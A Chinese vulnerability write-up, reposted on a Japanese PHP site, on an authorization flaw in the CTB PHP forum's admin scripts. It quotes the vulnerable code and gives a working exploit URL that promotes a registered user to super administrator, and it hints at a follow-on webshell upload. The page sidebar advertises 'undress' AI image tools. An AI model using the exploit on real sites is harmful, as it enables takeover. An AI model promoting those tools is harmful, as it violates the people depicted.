漂亮但不安全的CTB_PHP

Jun 01, 2016 pm 12:38 PM
mod 戻る 安全性 かわいい ユーザー 管理 確認する


>>>Dedicated This Scrap To CaoJing
涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

サイバーパンク 2077 では、新しく最適化されたパス トレーシング MOD によりパフォーマンスが最大 40% 向上します サイバーパンク 2077 では、新しく最適化されたパス トレーシング MOD によりパフォーマンスが最大 40% 向上します Aug 10, 2024 pm 09:45 PM

サイバーパンク 2077 の際立った機能の 1 つはパス トレースですが、パフォーマンスに大きな負担をかける可能性があります。 RTX 4080 (Gigabyte AERO OC 現行価格。Amazon で 949.99 ドル) のような、そこそこ性能のあるグラフィックス カードを搭載したシステムでも、安定したパフォーマンスを提供するのは困難です。

Rabbit R1 はゲームを実行するために改造され、予想よりも優れたパフォーマンスを発揮します Rabbit R1 はゲームを実行するために改造され、予想よりも優れたパフォーマンスを発揮します Jun 29, 2024 am 07:50 AM

今月初め、HowToMen という名前の YouTuber が、Android を実行する Rabbit R1 を紹介しました。この MOD を使用すると、本来は電話よりも気が散りにくいデバイスが、電話のように機能するようになりました。しかし、ウサギはそうではなかったので、それは悪いことではありません

DIY Asus ROG Ally mod は何も露出せずにバッテリー容量をほぼ 2 倍にします DIY Asus ROG Ally mod は何も露出せずにバッテリー容量をほぼ 2 倍にします Aug 20, 2024 am 06:57 AM

Asus ROG Ally は 40 Wh のバッテリーを搭載しており、通常、稼働時間は約 2 時間です。ただし、Ally X では、Asus はバッテリーを 80 Wh にアップグレードし、TDP に応じてバッテリー寿命を約 4 時間に延ばしました。 iFixit が考え出したのは、

Java フレームワークのセキュリティ アーキテクチャ設計は、ビジネス ニーズとどのようにバランスをとる必要がありますか? Java フレームワークのセキュリティ アーキテクチャ設計は、ビジネス ニーズとどのようにバランスをとる必要がありますか? Jun 04, 2024 pm 02:53 PM

Java フレームワーク設計では、セキュリティ ニーズとビジネス ニーズのバランスをとることでセキュリティを実現し、主要なビジネス ニーズを特定し、関連するセキュリティ要件に優先順位を付けます。柔軟なセキュリティ戦略を策定し、脅威に階層的に対応し、定期的に調整します。アーキテクチャの柔軟性を考慮し、ビジネスの進化をサポートし、抽象的なセキュリティ機能を考慮します。効率と可用性を優先し、セキュリティ対策を最適化し、可視性を向上させます。

PHP マイクロフレームワーク: Slim と Phalcon のセキュリティに関する議論 PHP マイクロフレームワーク: Slim と Phalcon のセキュリティに関する議論 Jun 04, 2024 am 09:28 AM

PHP マイクロフレームワークにおける Slim と Phalcon のセキュリティ比較では、Phalcon には CSRF および XSS 保護、フォーム検証などのセキュリティ機能が組み込まれていますが、Slim にはすぐに使用できるセキュリティ機能がなく、手動で実装する必要があります。セキュリティ対策。セキュリティ クリティカルなアプリケーションの場合、Phalcon はより包括的な保護を提供するため、より良い選択肢となります。

Google マネージャーでユーザーを追加および管理する方法 Google マネージャーでユーザーを追加および管理する方法 Sep 02, 2024 pm 02:41 PM

Google マネージャーでユーザーを追加および管理するにはどうすればよいですか? Google Chrome は複数のユーザーによるログインをサポートしているため、複数のデバイスでのログインについて心配する必要はありません。ユーザー数が多い場合は、管理を追加する必要があります。友達の中には操作方法がわからない人もいるかもしれません。心配しないでください。エディターが今日、すべての人向けに詳細なステップバイステップのチュートリアルを作成しました。興味がある場合は、エディターにアクセスして見てください。詳しいステップバイステップのチュートリアル手順 1. コンピューターの電源を入れた後、以下の図に示すように、デスクトップにインストールされている Google Chrome アイコンを見つけてダブルクリックして開きます。 2. 下の図に示すように、Google Chrome の右上隅にある 3 つの点のアイコンをクリックします。 3. 以下の図に示すように、Google Chrome のドロップダウン メニューで [設定] オプションをクリックします。 4. 開いた Google Chrome 設定インターフェースで、[チャンネルの管理] をクリックします。

Struts 2 フレームワークのセキュリティ構成と強化 Struts 2 フレームワークのセキュリティ構成と強化 May 31, 2024 pm 10:53 PM

Struts2 アプリケーションを保護するには、次のセキュリティ構成を使用できます。 未使用の機能を無効にする コンテンツ タイプ チェックを有効にする 入力を検証する セキュリティ トークンを有効にする CSRF 攻撃を防ぐ RBAC を使用してロールベースのアクセスを制限する

C++ での機械学習アルゴリズムの実装: セキュリティに関する考慮事項とベスト プラクティス C++ での機械学習アルゴリズムの実装: セキュリティに関する考慮事項とベスト プラクティス Jun 01, 2024 am 09:26 AM

C++ で機械学習アルゴリズムを実装する場合、データ プライバシー、モデルの改ざん、入力検証などのセキュリティを考慮することが重要です。ベスト プラクティスには、安全なライブラリの採用、権限の最小化、サンドボックスの使用、継続的な監視が含まれます。実際のケースでは、Botan ライブラリを使用して CNN モデルを暗号化および復号化し、安全なトレーニングと予測を確保する方法を示します。

See all articles